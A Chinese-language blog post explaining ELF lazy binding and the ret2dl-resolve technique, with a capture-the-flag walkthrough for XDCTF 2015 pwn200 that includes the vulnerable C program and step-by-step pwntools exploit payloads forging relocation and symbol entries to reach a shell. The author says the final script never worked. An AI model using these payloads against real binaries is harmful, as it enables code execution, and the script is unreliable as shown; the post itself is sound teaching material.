dl_runtime_resolve 执行过程

参考链接:

1
2
3
4
5
https://nocbtm.github.io/2020/02/24/ret2_dl_runtime_resolve/
https://blog.csdn.net/conansonic/article/details/54634142
https://sp4n9x.github.io/2020/08/15/ret2_dl_runtime_resolve%E8%AF%A6%E8%A7%A3/
http://blog.blackbird.wang/2021/09/20/dl-runtime-resolve%E8%B0%83%E8%AF%95%E4%BB%A5%E5%8F%8A%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF/
https://www.cnblogs.com/unr4v31/p/15168342.html

 动态装载器将二进制文件以及依赖库加载到内存,该过程包含了对导入符号的解析。对导入符号的解析由 _dl_runtime_resolve 完成。_dl_runtime_resolve 有两个参数,分别为:

1
2
3
link_map_obj:一个指向 link_map 结构体的指针。link_map 结构体表示一个已加载的共享对象的内部状态,包括基地址、名称、符号表等信息。

reloc_index:一个整数,表示重定位表(.rel.plt 或 .rel.dyn)中的索引。重定位表包含了符号重定位信息,用于指示哪些符号需要在运行时解析,以及它们在符号表中的位置。

重定位表相关知识

 重定位表有两种类型:.rel.rela。这两种类型对应了不同的重定位条目格式:

  • .rel:不包含附加的 addend 值的重定位条目。
  • .rela:包含附加的 addend 值的重定位条目。

 addend 值是一种附加的常数,用于计算重定位的最终地址。在 .rel 类型的重定位条目中,addend 值并不直接存储在重定位条目中,而是存储在需要重定位的指令或数据中。在 .rela 类型的重定位条目中 addend 值作为重定位条目的一部分显式存储。

image-20240530124305950

 重定位表有多个不同的段,比如 .rel.dyn(用于动态链接的常规重定位表)和 .rel.plt(用于 PLT 的重定位表)。

符号解析原理

image-20240530201212526

Step1:当程序导入函数时,动态链接器在.dynstr段中添加一个函数名称字符串。

Step2:在.dynsym段中添加指向函数名称字符串的Elf32 Sym结构体。

Step3:在.rel.plt段中添加指向Elf32 SymElf32 Rel结构体。

Step4:Elf32 Rel的 r_offset 构成 GOT 表,保存在 .got.plt 中。

延迟绑定

.got存放所有对于外部变量引用的地址,.got.plt保存所有对于外部函数引用的地址,对于延迟绑定主要使用.got.plt表。.got.plt的前三项存放着特殊的地址引用:

1
2
3
GOT[0]:保存 .dynamic 段的地址,动态链接器利用该地址提取动态链接相关的信息
GOT[1]:保存本模块的 ID
GOT[2]:存放了指向 _dl_runtime_resolve 函数的地址,该函数用来解析共享库函数的实际符号地址

.plt 的通用结构如下:

image-20240530195306844

 PLT[0] 用于跳转到动态链接器,进行实际的符号解析和重定位(push GOT[1],link_map 模块的地址, jmp GOT[2])。

image-20240530195505749

ret2dl-resolve

 漏洞利用通常包含两个阶段:(1)通过信息泄露获得程序的内存布局;(2)进行实际的漏洞利用。然而,从程序中获得内存布局的方法并不总是可行的,且获得的被破坏的内存有时并不可靠。于是有了 ret2dl-resolve,其利用 ELF 格式以及动态装载器,不需要进行信息泄露,就可以直接得到函数的位置并调用

原理

 每个符号都是Elf32_Sym结构体的实例,这些符号共同组成了.dynsym段。导入符号的解析需要进行重定位,每个重定位项都是Elf32_Rel结构体的实例,这些项组成.rel.plt段(用于导入函数,无 attend)和.rel.dyn段(用于导入全局变量,有 attend)。Elf32_Rel 中的 r_offset 用于保存解析后的符号地址写入内存的位置(绝对地址),r_info 的高位 3 字节用于标识该符号在.dynsym段中的位置。

 每个导入函数在 PLT 表中有一个条目,其第 1 条指令无条件跳转到对应 GOT 条目保存的地址处。而每个 GOT 条目在初始化时都默认指向对应 PLT 条目的第 2 条指令的位置,第 2 条指令的执行逻辑为:将导入函数的标识(Elf32_Rel.rel.plt 段中的偏移)压栈然后跳转到 PLT0 执行。PLT0 的执行逻辑为:先将 GOT[1] 压栈,然后跳转到 GOT[2],也就是 _dl_runtime_resolve_dl_runtime_resolve 是使用汇编实现的。

 Partial RELRO 指 .dynamic 段在内的段会被标识为只读。Full RELRO 指在 Partial RELRO 的基础上,禁用延迟绑定,即所有的导入符号在加载时就被解析,.got.plt段(导入外部符号)被完全初始化为目标函数的地址,并标记为只读。于是有两个攻击场景:

  • 关闭 RELRO 保护,使 .dynamic 段可写时。由于动态装载器是从 .dynamic 段的 DT_STRTAB 条目中来获取 .dynstr 段的地址,而 DT_STRTAB 的位置是已知的,且默认情况下可写,所以攻击者能够改写 DT_STRTAB 的内容,欺骗动态装载器,使它以为 .dynstr.bss 上,同时在那里伪造一个假的字符串表。当动态装载器尝试解析 printf 时就会使用不同的基地址来寻找函数名,最终执行的是 execve

image-20240530215707384

  • 开启 Partial RELRO 保护,使 .dynamic 段不可写时。_dl_runtime_resolve 的第二个参数 reloc_index 对应 Elf32_Rel 在 .rel.plt 段中的偏移,动态装载器将偏移加上 .rel.plt 的基地址来得到目标 Elf_Rel 的内存地址。当这个内存地址落在 .bss 段中时,攻击者就可以伪造一个 Elf32_Rel,使 r_offset 是一个可写的内存地址且将解析后的函数地址写在那里。

XDCTF 2015: pwn200

Step1:题目环境构建。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln() {
char buf[100];
// 当从标准输入读取数据时,数据将首先存储在 buf 缓冲区中,直到缓冲区满或遇到换行符等情况时才实际进行读操作
setbuf(stdin, buf);
read(0, buf, 256);
}

int main() {
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
// gcc -m32 -fno-stack-protector -no-pie main.c -o pwn200

Step2:找漏洞点。很容易找到有栈溢出。

image-20240530221513695

Step3:由于程序开了 Partial RELRO,我们可以从 ret2dl-resolve 的方面考虑问题。思路是:

1
2
3
4
5
6
(1)利用栈溢出控制执行流,调用 read 函数将下一阶段的 payload 读到 .bss 段上,然后用 stack pivot 将栈转移到 .bss 段。
(2)从调用 write(1, "/bin/sh", 7) 的第二阶段 payload 开始,一步步将其改造成 ret2dl-resolve 的 payload,最终目的是实现调用 system("/bin/sh")。
(a)模拟 write@plt 执行的效果,即先将 reloc_index 压栈,再跳转到 PLT0。
(b)在 .bss 段上伪造 Elf32_Rel。其中,r_offset 设置为 write@got,表示将函数解析后的内存地址存放到该位置。r_info 则照搬,设置为 0x607,动态加载器会通过这个值找到对应的 Elf32_Sym。相应地 reloc_index 也要调整为 fake_reloc 相对于 .rel.plt 段的偏移。
(c)在 .bss 上伪造 Elf32_Sym。动态加载器会通过 st_name 找到 .dynstr 段中的函数名字符串 "write"。fake_reloc 也要做调整,r_info 可以通过 r_sym 和 r_type 计算得出。其中,r_sym 是 Elf32_Sym 相对于 .dynsym 段的下标偏移,r_type 则照搬 R_386_JUMP_SLOT 的值 0x7。
(d)在 .bss 段上伪造 .dynstr,也就是放上 "write" 字符串。调整 fake_sym 的 st_name 指向伪造的函数名字符串,然后还可以通过 st_bind 和 st_type 来计算 st_info。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# (1) 利用栈溢出控制执行流,调用 read 函数将下一阶段的 payload 读到 .bss 段上,然后用 stack pivot 将栈转移到 .bss 段
elf = ELF("./pwn200")
read_plt = elf.plt['read']
bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x500
pppr_addr = 0x08049351 # pop esi; pop edi; pop ebp; ret;
pop_ebp_addr = 0x08049353
leave_addr = 0x08049165

payload1 = b"A" * (108 + 4)
payload1 += p32(read_plt) # 32 位的 ELF 的参数在栈上保存,用于读取 payload2
payload1 += p32(pppr_addr) # 清理参数
payload1 += p32(0) + p32(bss_addr) + p32(100) # 参数 1/2/3
payload1 += p32(pop_ebp_addr)
payload1 += p32(bss_addr) # ebp = bss_addr
payload1 += p32(leave_addr) # mov esp, ebp; pop ebp; pop eip; 使得 esp = bss_addr
1
2
3
4
5
6
7
8
#(2)从调用 write(1, "/bin/sh", 7) 的第二阶段 payload 开始,一步步将其改造成 ret2dl-resolve 的 payload,最终目的是实现调用 system("/bin/sh")
payload2 = b"AAAA" # ebp = "AAAA"
payload2 += p32(write_plt) # eip = write_plt
payload2 += b"CCCC" # 返回地址,暂时设置为 CCCC
payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) # 执行 write(1, "/bin/sh", 7)
payload2 += b"A" * (80 - len(payload2))
payload2 += b"/bin/sh\x00" # 在 bss 偏移 80 处写入 /bin/sh
payload2 += b"A" * (100 - len(payload2))

 之后,对(2)的脚本做修改,以模拟 write_plt 的执行效果,最终目的是执行 system。

1
2
3
4
5
6
7
8
9
10
11
12
#(2)(a)模拟 write@plt 执行的效果,即先将 reloc_index 压栈,再跳转到 PLT0
plt_0 = elf.get_section_by_name('plt').header.sh_addr
reloc_index = 0x20

payload2 = b"AAAA"
payload2 += p32(plt_0) # 修改点1,跳到 plt0 执行
payload2 += p32(reloc_index) # 修改点2,0x20 是 plt0 执行时的参数
payload2 += b"CCCC"
payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh"))
payload2 += b"A" * (80 - len(payload2))
payload2 += b"/bin/sh\x00" # 在 bss 偏移 80 处写入 /bin/sh
payload2 += b"A" * (100 - len(payload2))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#(2)(b)在 .bss 段上伪造 Elf32_Rel。其中,r_offset 设置为 write@got,表示将函数解析后的内存地址存放到该位置。r_info 则照搬,设置为 0x607,动态加载器会通过这个值找到对应的 Elf32_Sym。相应地 reloc_index 也要调整为 fake_reloc 相对于 .rel.plt  段的偏移。
plt_0 = elf.get_section_by_name('plt').header.sh_addr
reloc_index = bss_addr + 28 - rel_plt
write_got = 0x0 # write 真实的函数地址,暂时不写
r_info = 0x607

fake_reloc = p32(write_got) + p32(r_info) # 伪造的 Elf32_Rel

payload2 = b"AAAA"
payload2 += p32(plt_0)
payload2 += p32(reloc_index)
payload2 += b"CCCC"
payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh"))
payload2 += fake_reloc # 修改点1,伪造 Elf32_Rel,reloc 其实是 rel_plt+reloc_index 指向的,现在 rel_plt+reloc_index 指向 fake_reloc,reloc_index 也要修改,位置为 bss_addr + 28
payload2 += b"A" * (80 - len(payload2))
payload2 += b"/bin/sh\x00"
payload2 += b"A" * (100 - len(payload2))

 (2)(b)中,r_info 的获得途径为:

image-20240531151006667

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#(2)(c)在 .bss 上伪造 Elf32_Sym。动态加载器会通过 st_name 找到 .dynstr 段中的函数名字符串 "write"。fake_reloc 也要做调整,r_info 可以通过 r_sym 和 r_type 计算得出。其中,r_sym 是 Elf32_Sym 相对于 .dynsym 段的下标偏移,r_type 则照搬 R_386_JUMP_SLOT 的值 0x7

plt_0 = elf.get_section_by_name('plt').header.sh_addr
reloc_index = bss_addr + 28 - rel_plt
write_got = 0x0
r_sym = (bss_addr + 40 - dynsym) / 0x10 # symbol_index
r_type = 0x7 # R_i386_JMP_SLOT
r_info = (r_sym << 8) + (r_type & 0xff)

fake_reloc = p32(write_got) + p32(r_info)
fake_sym = p32(0x4c) + p32(0) + p32(0) + p32(0x12) # st_name = 0x4c, st_info = 0x12

payload2 = b"AAAA"
payload2 += p32(plt_0)
payload2 += p32(reloc_index)
payload2 += b"CCCC"
payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh"))
payload2 += fake_reloc
payload2 += b"AAAA"
payload2 += fake_sym # 修改点1,伪造 Elf32_Sym,并修改 r_info,使其指向伪造的 Elf32_Sym,位置为 bss_addr + 40
payload2 += b"A" * (80 - len(payload2))
payload2 += b"/bin/sh\x00"
payload2 += b"A" * (100-len(payload2))

 (2)(c)中,可以查看 write 的 Elf32_sym,从而进行伪造:

image-20240531160115740

image-20240531160242048

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#(2)(d)在 .bss 段上伪造 .dynstr,也就是放上 "write" 字符串。调整 fake_sym 的 st_name 指向伪造的函数名字符串,然后还可以通过 st_bind 和 st_type 来计算 st_info。
plt_0 = elf.get_section_by_name('plt').header.sh_addr
reloc_index = bss_addr + 28 - rel_plt

write_got = 0x0
r_sym = (bss_addr + 40 - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)

st_name = bss_addr + 56 - dynstr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf) # 0x12
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)

payload2 = b"AAAA"
payload2 += p32(plt_0)
payload2 += p32(reloc_index)
payload2 += b"CCCC"
payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh"))
payload2 += fake_reloc
payload2 += b"AAAA"
payload2 += fake_sym
payload2 += b"write\x00" # 修改点1,伪造 .dynstr,bss_addr + 56
payload2 += b"A" * (80 - len(payload2))
payload2 += b"/bin/sh\x00"
payload2 += b"A" * (100-len(payload2))

Step4:直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

elf = ELF("./pwn200")
io = process('./pwn200')

write_got = elf.got['write']
read_plt = elf.plt['read']

plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x500

pppr_addr = 0x08049351
pop_ebp_addr = 0x08049353
leave_addr = 0x08049165

def stack_pivot():
payload1 = b"A" * (108 + 4)
payload1 += p32(read_plt)
payload1 += p32(pppr_addr)
payload1 += p32(0) + p32(bss_addr) + p32(100)
payload1 += p32(pop_ebp_addr)
payload1 += p32(bss_addr)
payload1 += p32(leave_addr)
io.send(payload1)

def pwn():
reloc_index = bss_addr + 28 - rel_plt

r_sym = (bss_addr + 40 - dynsym) // 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)

st_name = bss_addr + 56 - dynstr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)

payload2 = b"AAAA"
payload2 += p32(plt_0)
payload2 += p32(reloc_index)
payload2 += b"CCCC"
payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh"))
payload2 += fake_reloc
payload2 += b"AAAA"
payload2 += fake_sym
payload2 += b"write\x00"
payload2 += b"A" * (80 - len(payload2))
payload2 += b"/bin/sh\x00"
payload2 += b"A" * (100 - len(payload2))

io.sendline(payload2)
io.interactive()

if __name__ == "__main__":
stack_pivot()
pwn()

 但是一直不成功,直到(2)的脚本有大概 1/7 的成功率,加入 p32(plt_0)、p32(reloc_index) 就一直不行,懒得调了。

留言

© 2024 wd-z711

⬆︎TOP